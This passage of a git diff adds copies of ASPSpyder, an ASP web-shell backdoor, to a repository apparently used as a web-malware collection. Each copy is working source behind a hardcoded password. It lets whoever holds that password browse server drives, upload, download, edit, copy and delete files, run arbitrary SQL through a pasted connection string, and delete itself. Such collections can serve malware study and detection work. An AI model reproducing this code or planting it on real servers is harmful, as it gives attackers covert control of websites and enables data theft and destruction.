nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + + 'String to byte string conversion + Private Function CByteString(sString) + Dim nIndex + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + + 'Byte string to string conversion + Private Function CWideString(bsString) + Dim nIndex + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class + + +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + + Public Sub SaveToDisk(sPath) + Dim oFS, oFile + Dim nIndex + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + ' output mechanism modified for buffering + oFile.Write BufferContent(FileData) + oFile.Close + End Sub + + Public Sub SaveToDatabase(ByRef oField) + If LenB(FileData) = 0 Then Exit Sub + If IsObject(oField) Then + oField.AppendChunk FileData + End If + End Sub +End Class + +' Create the FileUploader +IF REQUEST.QueryString("upload")="@" THEN +Dim Uploader, File +Set Uploader = New FileUploader + +' This starts the upload process +Uploader.Upload() + +%> +ASPYDrvsInfo + + +


        +
        +
        File upload Information: +
        +<% + +' Check if any files were uploaded +If Uploader.Files.Count = 0 Then + Response.Write "File(s) not uploaded." +Else + ' Loop through the uploaded files + For Each File In Uploader.Files.Items + File.SaveToDisk Request.QueryString("txtpath") + Response.Write "" + Response.Write "" + Response.Write "" + Next +End If +%> +
         
        File Uploaded: " & File.FileName & "
        Size: " & Int(File.FileSize/1024)+1 & " kb
        Type: " & File.ContentType & "
         
        +

        ?txtpath=<%=Request.QueryString("txtpath")%>">7
        +<% +response.End() '---- XXX +END IF +'-------- +ON ERROR RESUME NEXT +Response.Buffer = True +password = "t00ls.org" ' <---Your password here + +If request.querystring("logoff")="@" then + session("shagman")="" ' Logged off + session("dbcon")="" ' Database Connection + session("txtpath")="" ' any pathinfo +end if + + If (session("shagman")<>password) and Request.form("code")="" Then + %> +




        ADMINSTRATORS TOOLKIT


        + +
        +
        " > +
        + +
        +
        +ASPSpyder Apr2003
        +<%If request.querystring("logoff")="@" then%> +CLOSE THIS WINDOW +<%end if%> +
        + <% + Response.END + End If + If Request.form("code") = password or session("shagman") = password Then + session("shagman") = password + Else + Response.Write "

        ACCESS DENIED
        Copyright 2003 Vela iNC.

        " + Response.END + End If + +server.scriptTimeout=180 +set fso = Server.CreateObject("Scripting.FileSystemObject") +mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME")) +mapPathLen = len(mapPath) + +if session(myScriptName) = "" then + for x = mapPathLen to 0 step -1 + myScriptName = mid(mapPath,x) + if instr(1,myScriptName,"\")>0 then + myScriptName = mid(mapPath,x+1) + x=0 + session(myScriptName) = myScriptName + end if + next +Else + myScriptName = session(myScriptName) +end if + + +wwwRoot = left(mapPath, mapPathLen - len(myScriptName)) +Target = "D:\hshome\masterhr\masterhr.com\" ' ---Directory to which files will be DUMPED Too and From + + if len(Request.querystring("txtpath"))=3 then + pathname = left(Request.querystring("txtpath"),2) & "\" & Request.form("Fname") + else + pathname = Request.querystring("txtpath") & "\" & Request.form("Fname") + end if + + If Request.Form("txtpath") = "" Then + MyPath = Request.QueryString("txtpath") + Else + MyPath = Request.Form("txtpath") + End If + +' ---Path correction routine + If len(MyPath)=1 then MyPath=MyPath & ":\" + If len(MyPath)=2 then MyPath=MyPath & "\" + If MyPath = "" Then MyPath = wwwRoot + If not fso.FolderExists(MyPath) then + Response.Write "Non-existing path specified.
        Please use browser back button to continue !" + Response.end + end if + + set folder = fso.GetFolder(MyPath) + +if fso.GetFolder(Target) = false then + Response.Write "Please create your target directory for copying files as it does not exist. " & Target & "
        " +else + set fileCopy = fso.GetFolder(Target) +end if + + + If Not(folder.IsRootFolder) Then + If len(folder.ParentFolder)>3 then + showPath = folder.ParentFolder & "\" & folder.name + Else + showPath = folder.ParentFolder & folder.name + End If + Else + showPath = left(MyPath,2) + End If + +MyPath=showPath +showPath=MyPath & "\" +' ---Path correction routine-DONE + +set drv=fso.GetDrive(left(MyPath,2)) + +if Request.Form("cmd")="Download" then + if Request.Form("Fname")<>"" then + Response.Buffer = True + Response.Clear + strFileName = Request.QueryString("txtpath") & "\" & Request.Form("Fname") + Set Sys = Server.CreateObject( "Scripting.FileSystemObject" ) + Set Bin = Sys.OpenTextFile( strFileName, 1, False ) + Call Response.AddHeader( "Content-Disposition", "attachment; filename=" & Request.Form("Fname") ) + Response.ContentType = "application/octet-stream" + While Not Bin.AtEndOfStream + Response.BinaryWrite( ChrB( Asc( Bin.Read( 1 ) ) ) ) + Wend + Bin.Close : Set Bin = Nothing + Set Sys = Nothing + Else + err.number=500 + err.description="Nothing selected for download..." + End if +End if +%> + + +<% +'QUERY ANALYSER -- START +if request.QueryString("qa")="@" then +'------------- +sub getTable(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + + if RS.properties("Asynchronous Rowset Processing") = 16 then + For i = 0 To rs.Fields.Count - 1 + myFields = myFields & "" & rs.Fields(i).Name & "" + Next + myTitle = "?Query results :     (" & rs.RecordCount & " row(s) affected)
        " + rs.MoveFirst + rs.PageSize=mNR + if int(rs.RecordCount/mNR) < mPage then mPage=1 + rs.AbsolutePage = mPage + Response.Write myTitle & "         " +if mPage=1 Then Response.Write("") else Response.Write("") +Response.Write "" +if mPage = rs.PageCount Then Response.Write("> "" DISABLED>") else Response.Write("> "">") +Response.Write "     Displaying records at a time." + response.Write "" & myFields + + For x = 1 to rs.PageSize + If Not rs.EOF Then + response.Write "" + For i = 0 to rs.Fields.Count - 1 + response.Write "" + Next + response.Write "" + response.Flush() + rs.MoveNext + Else + x=rs.PageSize + End If + Next + response.Write "
        " & server.HTMLEncode(rs(i)) & "
        " + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
        " + response.Write myTitle + end if + end if + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing + +End sub + +sub getXML(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + if RS.properties("Asynchronous Rowset Processing") = 16 then + Response.Write "i Copy paste this code and save as '.xml '" + Response.Write "" + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
        " + response.Write myTitle + end if + end if +End sub + +Function errChk() + if err.Number <> 0 and err.Number <> 13 then + dim myText + myText = "x " & err.Description & "
        " + response.Write myText + err.Number = 0 + errChk = True + end if +end Function + + Dim myQuery,mPage,mNR + myQuery = request.Form("txtSQL") + if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon") + if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath") + mPage=cint(request.Form("mPage")) + if mPage<1 then mPage=1 + mNR=cint(request.Form("txtNoRecords")) + if mNR<1 then mNR=30 +%> +ASPyQAnalyser + + + +
        ?qa=@" method=Post> + + +
        @ Paste + your connection string here : + "> +
        +
        + >GenerateXML +
        XXXXXX +
        ASP!Spyder Apr2003
        by ~sir_shagalot
        +
        +
        <%If Request.Form("chkXML") = "on" Then getXML(myQuery) Else getTable(myQuery) %>
        +

        Copyright 2003 Vela iNC.
        Cheers to hAshish for all the help!


        + + +<% + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing +'------------- +response.End() +end if +'QUERY ANALYSER -- STOP +%> +<%=MyPath%> + + + +<% + Response.Flush +'Code Optimisation START +select case request.form("cmd") + case "" + If request.form("dirStuff")<>"" then + Response.write "You need to click [Create] or [Delete] for folder operations to be" + Else + Response.Write "آ" + End If + case " Copy " + ' ---Copy From Folder routine Start + If Request.Form("Fname")="" then + Response.Write "Copying: " & Request.QueryString("txtpath") & "\???
        " + err.number=424 + Else + Response.Write "Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & "
        " + fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname") + Response.Flush + End If + ' ---Copy From Folder routine Stop + case " Copy " + ' ---Copy Too Folder routine Start + If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then + Response.Write "Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & "
        " + Response.Flush + fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy") + Else + Response.Write "Copying: " & Request.Form("txtpath") & "\???
        " + err.number=424 + End If + ' ---Copy Too Folder routine Stop + case "Delete" 'two of this + if request.form("todelete")<>"" then + ' ---File Delete start + If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then + Response.Write "



        SELFDESTRUCT INITIATED...
        " + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + %>+++DONE+++


        + CLOSE THIS WINDOW + <%Response.End + End If + If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then + Response.Write "Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & "
        " + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + Else + Response.Write "Deleting: " & Request.Form("txtpath") & "\???
        " + err.number=424 + End If + ' ---File Delete stop + Else If request.form("dirStuff")<>"" then + Response.Write "Deleting folder...
        " + fso.DeleteFolder MyPath & "\" & request.form("DirName") + end if + End If + + case "Edit/Create" +%> +

        +
        + NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate. +
        Path=> <%=pathname%>

        +<% + ' fetch file information + Set f = fso.GetFile(pathname) +%> +file Type: <%=f.Type%>
        +file Size: <%=FormatNumber(f.size,0)%> bytes
        +file Created: <%=FormatDateTime(f.datecreated,1)%> <%=FormatDateTime(f.datecreated,3)%>
        +last Modified: <%=FormatDateTime(f.datelastmodified,1)%> <%=FormatDateTime(f.datelastmodified,3)%>
        +last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%> <%=FormatDateTime(f.datelastaccessed,3)%>
        +file Attributes: <%=f.attributes%>
        +<% + Set f = Nothing + response.write "
        " + 'read the file + Set f = fso.OpenTextFile(pathname) + If NOT f.AtEndOfStream Then fstr = f.readall + f.Close + Set f = Nothing + Set fso = Nothing + response.write "
        " & VBCRLF + response.write "DOCUMENT CONTENTS
        " & VBCRLF + response.write "" & VBCRLF + response.write "
        " & VBCRLF +%> +
        LOCATION + + +

        +<% +response.end + + case "Create" + Response.Write "Creating folder...
        " + fso.CreateFolder MyPath & "\" & request.form("DirName") + + case "Save As" + Response.Write "Saving file...
        " + Set f = fso.CreateTextFile(Request.Form("pathname")) + f.write Request.Form("FILEDATA") + f.close +end select +'Code Optimisation STOP +' ---DRIVES start here + If request.querystring("getDRVs")="@" then +%> +


        +
        Available Drive Information: +
        + +<%For Each thingy in fso.Drives%> +
        DriveTypePathShareNameSize[MB]ReadyToUseVolumeLabel
        +<%=thingy.DriveLetter%> <%=thingy.DriveType%> <%=thingy.Path%> <%=thingy.ShareName%> <%=((thingy.TotalSize)/1024000)%> <%=thingy.IsReady%> <%=thingy.VolumeName%> +<%Next%> +
        +

        ?txtpath=<%=MyPath%>">7
        +<% + Response.end + end if +' ---DRIVES stop here +%> + + + +<% +'---Report errors +select case err.number + case "0" + response.write "i Successfull.." + + case "58" + response.write "Folder already exists OR no folder name specified..." + + case "70" + response.write "Permission Denied, folder/file is readonly or contains such files..." + + case "76" + response.write "Path not found..." + + case "424" + response.write "Missing, Insufficient data OR file is readonly..." + + case else + response.write "" & err.description & "" + +end select +'---Report errors end +%> +
        ASP!Spyder Apr2003
        by ~sir_shagalot
        + +
        +
        " name="myform" > + +
        + PATH INFO : Volume Label: <%=drv.VolumeName%>
        Virtual: http://<%=Request.ServerVariables("SERVER_NAME")%><%=Request.Servervariables("SCRIPT_NAME")%>
        1 <%=showPath%> +
        +
        +
        + + +
        ?getDRVs=@&txtpath=<%=MyPath%>">Retrieve Available Network Drives
        ?qa=@&txtpath=<%=MyPath%>">SQL Query Analyser
        ?logoff=@&...thankyou.for.using.ASpyder....~sir_shagalot!..[shagzzz.cjb.net]">+++LOGOFF+++
        +
        +

        +
        " >Delete file from current directory:
        +
        " + Response.Write "
        Copy file too current directory:
        " +Response.Flush +' ---View Tree Begins Here + Response.Write "
        Folders:

        " +fo=0 + Response.Write "0 ..
        " + +For each fold in folder.SubFolders '-->FOLDERz +fo=fo+1 + Response.Write "0 " & fold.name & "
        " +Next +%> +
        ?txtpath=<%=MyPath%>"> + +
        +Directory:

        + +
        +<% +Response.Write "
        Files:

        " +Response.Flush +%> +
        ?txtpath=<%=MyPath%>"> +<% + Response.write "
        " + Response.write "
        " +%> + +<% + Response.Write "
        Listed: " & fo & "Listed: " & fi & "

        " +' ---View Tree Ends Here +' ---Upload Routine starts here +%> +

        ?upload=@&txtpath=<%=MyPath%>"> + + + + +
        2 SELECT FILES TO UPLOAD:
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        + +    +
        +
        + + + + +
        NOTE FOR UPLOAD - + YOU MUST HAVE VBSCRIPT v5.0 INSTALLED ON YOUR WEB SERVER  FOR THIS LIBRARY TO + FUNCTION CORRECTLY. YOU CAN OBTAIN IT FREE FROM MICROSOFT WHEN YOU INSTALL INTERNET + EXPLORER 5.0 OR LATER. WHICH IS, MOST LIKELY, ALREADY INSTALLED.
        +
        +<% +' ---Upload Routine stops here +%> + +

        Copyright 2003 Vela iNC.
        [ System: <%=now%> ]


        + diff --git a/web-malware-collection-master/Backdoors/ASP/aspydrv.txt b/web-malware-collection-master/Backdoors/ASP/aspydrv.txt new file mode 100755 index 0000000..3698903 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/aspydrv.txt @@ -0,0 +1,829 @@ +<% +Function BufferContent(data) + Dim strContent(64) + Dim i + ClearString strContent + For i = 1 To LenB(data) + AddString strContent,Chr(AscB(MidB(data,i,1))) + Next + BufferContent = fnReadString(strContent) +End Function + +Sub ClearString(part) + Dim index + For index = 0 to 64 + part(index)="" + Next +End Sub + +Sub AddString(part,newString) + Dim tmp + Dim index + part(0) = part(0) & newString + If Len(part(0)) > 64 Then + index=0 + tmp="" + Do + tmp=part(index) & tmp + part(index) = "" + index = index + 1 + Loop until part(index) = "" + part(index) = tmp + End If +End Sub + +Function fnReadString(part) + Dim tmp + Dim index + tmp = "" + For index = 0 to 64 + If part(index) <> "" Then + tmp = part(index) & tmp + End If + Next + FnReadString = tmp +End Function + + +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + + Public Default Sub Upload() + Dim biData, sInputName + Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos + Dim nPosFile, nPosBound + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Dim oUploadFile, sFileName + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + + 'String to byte string conversion + Private Function CByteString(sString) + Dim nIndex + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + + 'Byte string to string conversion + Private Function CWideString(bsString) + Dim nIndex + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class + + +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + + Public Sub SaveToDisk(sPath) + Dim oFS, oFile + Dim nIndex + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + ' output mechanism modified for buffering + oFile.Write BufferContent(FileData) + oFile.Close + End Sub + + Public Sub SaveToDatabase(ByRef oField) + If LenB(FileData) = 0 Then Exit Sub + If IsObject(oField) Then + oField.AppendChunk FileData + End If + End Sub +End Class + +' Create the FileUploader +IF REQUEST.QueryString("upload")="@" THEN +Dim Uploader, File +Set Uploader = New FileUploader + +' This starts the upload process +Uploader.Upload() + +%> +ASPYDrvsInfo + + +


        +
        +
        File upload Information: +
        +<% + +' Check if any files were uploaded +If Uploader.Files.Count = 0 Then + Response.Write "File(s) not uploaded." +Else + ' Loop through the uploaded files + For Each File In Uploader.Files.Items + File.SaveToDisk Request.QueryString("txtpath") + Response.Write "" + Response.Write "" + Response.Write "" + Next +End If +%> +
         
        File Uploaded: " & File.FileName & "
        Size: " & Int(File.FileSize/1024)+1 & " kb
        Type: " & File.ContentType & "
         
        +

        ?txtpath=<%=Request.QueryString("txtpath")%>">7
        +<% +response.End() '---- XXX +END IF +'-------- +ON ERROR RESUME NEXT +Response.Buffer = True +password = "lol" ' <---Your password here + +If request.querystring("logoff")="@" then + session("shagman")="" ' Logged off + session("dbcon")="" ' Database Connection + session("txtpath")="" ' any pathinfo +end if + + If (session("shagman")<>password) and Request.form("code")="" Then + %> +




        ADMINSTRATORS TOOLKIT


        + +
        +
        " > +
        + +
        +
        +ASPSpyder Apr2003
        +<%If request.querystring("logoff")="@" then%> +CLOSE THIS WINDOW +<%end if%> +
        + <% + Response.END + End If + If Request.form("code") = password or session("shagman") = password Then + session("shagman") = password + Else + Response.Write "

        ACCESS DENIED
        Copyright 2003 Vela iNC.

        " + Response.END + End If + +server.scriptTimeout=180 +set fso = Server.CreateObject("Scripting.FileSystemObject") +mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME")) +mapPathLen = len(mapPath) + +if session(myScriptName) = "" then + for x = mapPathLen to 0 step -1 + myScriptName = mid(mapPath,x) + if instr(1,myScriptName,"\")>0 then + myScriptName = mid(mapPath,x+1) + x=0 + session(myScriptName) = myScriptName + end if + next +Else + myScriptName = session(myScriptName) +end if + + +wwwRoot = left(mapPath, mapPathLen - len(myScriptName)) +Target = "D:\hshome\masterhr\masterhr.com\" ' ---Directory to which files will be DUMPED Too and From + + if len(Request.querystring("txtpath"))=3 then + pathname = left(Request.querystring("txtpath"),2) & "\" & Request.form("Fname") + else + pathname = Request.querystring("txtpath") & "\" & Request.form("Fname") + end if + + If Request.Form("txtpath") = "" Then + MyPath = Request.QueryString("txtpath") + Else + MyPath = Request.Form("txtpath") + End If + +' ---Path correction routine + If len(MyPath)=1 then MyPath=MyPath & ":\" + If len(MyPath)=2 then MyPath=MyPath & "\" + If MyPath = "" Then MyPath = wwwRoot + If not fso.FolderExists(MyPath) then + Response.Write "Non-existing path specified.
        Please use browser back button to continue !" + Response.end + end if + + set folder = fso.GetFolder(MyPath) + +if fso.GetFolder(Target) = false then + Response.Write "Please create your target directory for copying files as it does not exist. " & Target & "
        " +else + set fileCopy = fso.GetFolder(Target) +end if + + + If Not(folder.IsRootFolder) Then + If len(folder.ParentFolder)>3 then + showPath = folder.ParentFolder & "\" & folder.name + Else + showPath = folder.ParentFolder & folder.name + End If + Else + showPath = left(MyPath,2) + End If + +MyPath=showPath +showPath=MyPath & "\" +' ---Path correction routine-DONE + +set drv=fso.GetDrive(left(MyPath,2)) + +if Request.Form("cmd")="Download" then + if Request.Form("Fname")<>"" then + Response.Buffer = True + Response.Clear + strFileName = Request.QueryString("txtpath") & "\" & Request.Form("Fname") + Set Sys = Server.CreateObject( "Scripting.FileSystemObject" ) + Set Bin = Sys.OpenTextFile( strFileName, 1, False ) + Call Response.AddHeader( "Content-Disposition", "attachment; filename=" & Request.Form("Fname") ) + Response.ContentType = "application/octet-stream" + While Not Bin.AtEndOfStream + Response.BinaryWrite( ChrB( Asc( Bin.Read( 1 ) ) ) ) + Wend + Bin.Close : Set Bin = Nothing + Set Sys = Nothing + Else + err.number=500 + err.description="Nothing selected for download..." + End if +End if +%> + + +<% +'QUERY ANALYSER -- START +if request.QueryString("qa")="@" then +'------------- +sub getTable(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + + if RS.properties("Asynchronous Rowset Processing") = 16 then + For i = 0 To rs.Fields.Count - 1 + myFields = myFields & "" & rs.Fields(i).Name & "" + Next + myTitle = "?Query results :     (" & rs.RecordCount & " row(s) affected)
        " + rs.MoveFirst + rs.PageSize=mNR + if int(rs.RecordCount/mNR) < mPage then mPage=1 + rs.AbsolutePage = mPage + Response.Write myTitle & "         " +if mPage=1 Then Response.Write("") else Response.Write("") +Response.Write "" +if mPage = rs.PageCount Then Response.Write("> "" DISABLED>") else Response.Write("> "">") +Response.Write "     Displaying records at a time." + response.Write "" & myFields + + For x = 1 to rs.PageSize + If Not rs.EOF Then + response.Write "" + For i = 0 to rs.Fields.Count - 1 + response.Write "" + Next + response.Write "" + response.Flush() + rs.MoveNext + Else + x=rs.PageSize + End If + Next + response.Write "
        " & server.HTMLEncode(rs(i)) & "
        " + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
        " + response.Write myTitle + end if + end if + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing + +End sub + +sub getXML(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + if RS.properties("Asynchronous Rowset Processing") = 16 then + Response.Write "i Copy paste this code and save as '.xml '" + Response.Write "" + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
        " + response.Write myTitle + end if + end if +End sub + +Function errChk() + if err.Number <> 0 and err.Number <> 13 then + dim myText + myText = "x " & err.Description & "
        " + response.Write myText + err.Number = 0 + errChk = True + end if +end Function + + Dim myQuery,mPage,mNR + myQuery = request.Form("txtSQL") + if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon") + if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath") + mPage=cint(request.Form("mPage")) + if mPage<1 then mPage=1 + mNR=cint(request.Form("txtNoRecords")) + if mNR<1 then mNR=30 +%> +ASPyQAnalyser + + + +
        ?qa=@" method=Post> + + +
        @ Paste + your connection string here : + "> +
        +
        + >GenerateXML +
        XXXXXX +
        ASP!Spyder Apr2003
        by KingDefacer
        +
        +
        <%If Request.Form("chkXML") = "on" Then getXML(myQuery) Else getTable(myQuery) %>
        +

        Copyright 2003 Vela iNC.
        Cheers to hAshish for all the help!


        + + +<% + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing +'------------- +response.End() +end if +'QUERY ANALYSER -- STOP +%> +<%=MyPath%> + + + +<% + Response.Flush +'Code Optimisation START +select case request.form("cmd") + case "" + If request.form("dirStuff")<>"" then + Response.write "You need to click [Create] or [Delete] for folder operations to be" + Else + Response.Write "آ" + End If + case " Copy " + ' ---Copy From Folder routine Start + If Request.Form("Fname")="" then + Response.Write "Copying: " & Request.QueryString("txtpath") & "\???
        " + err.number=424 + Else + Response.Write "Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & "
        " + fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname") + Response.Flush + End If + ' ---Copy From Folder routine Stop + case " Copy " + ' ---Copy Too Folder routine Start + If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then + Response.Write "Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & "
        " + Response.Flush + fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy") + Else + Response.Write "Copying: " & Request.Form("txtpath") & "\???
        " + err.number=424 + End If + ' ---Copy Too Folder routine Stop + case "Delete" 'two of this + if request.form("todelete")<>"" then + ' ---File Delete start + If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then + Response.Write "



        SELFDESTRUCT INITIATED...
        " + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + %>+++DONE+++


        + CLOSE THIS WINDOW + <%Response.End + End If + If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then + Response.Write "Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & "
        " + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + Else + Response.Write "Deleting: " & Request.Form("txtpath") & "\???
        " + err.number=424 + End If + ' ---File Delete stop + Else If request.form("dirStuff")<>"" then + Response.Write "Deleting folder...
        " + fso.DeleteFolder MyPath & "\" & request.form("DirName") + end if + End If + + case "Edit/Create" +%> +

        +
        + NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate. +
        Path=> <%=pathname%>

        +<% + ' fetch file information + Set f = fso.GetFile(pathname) +%> +file Type: <%=f.Type%>
        +file Size: <%=FormatNumber(f.size,0)%> bytes
        +file Created: <%=FormatDateTime(f.datecreated,1)%> <%=FormatDateTime(f.datecreated,3)%>
        +last Modified: <%=FormatDateTime(f.datelastmodified,1)%> <%=FormatDateTime(f.datelastmodified,3)%>
        +last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%> <%=FormatDateTime(f.datelastaccessed,3)%>
        +file Attributes: <%=f.attributes%>
        +<% + Set f = Nothing + response.write "
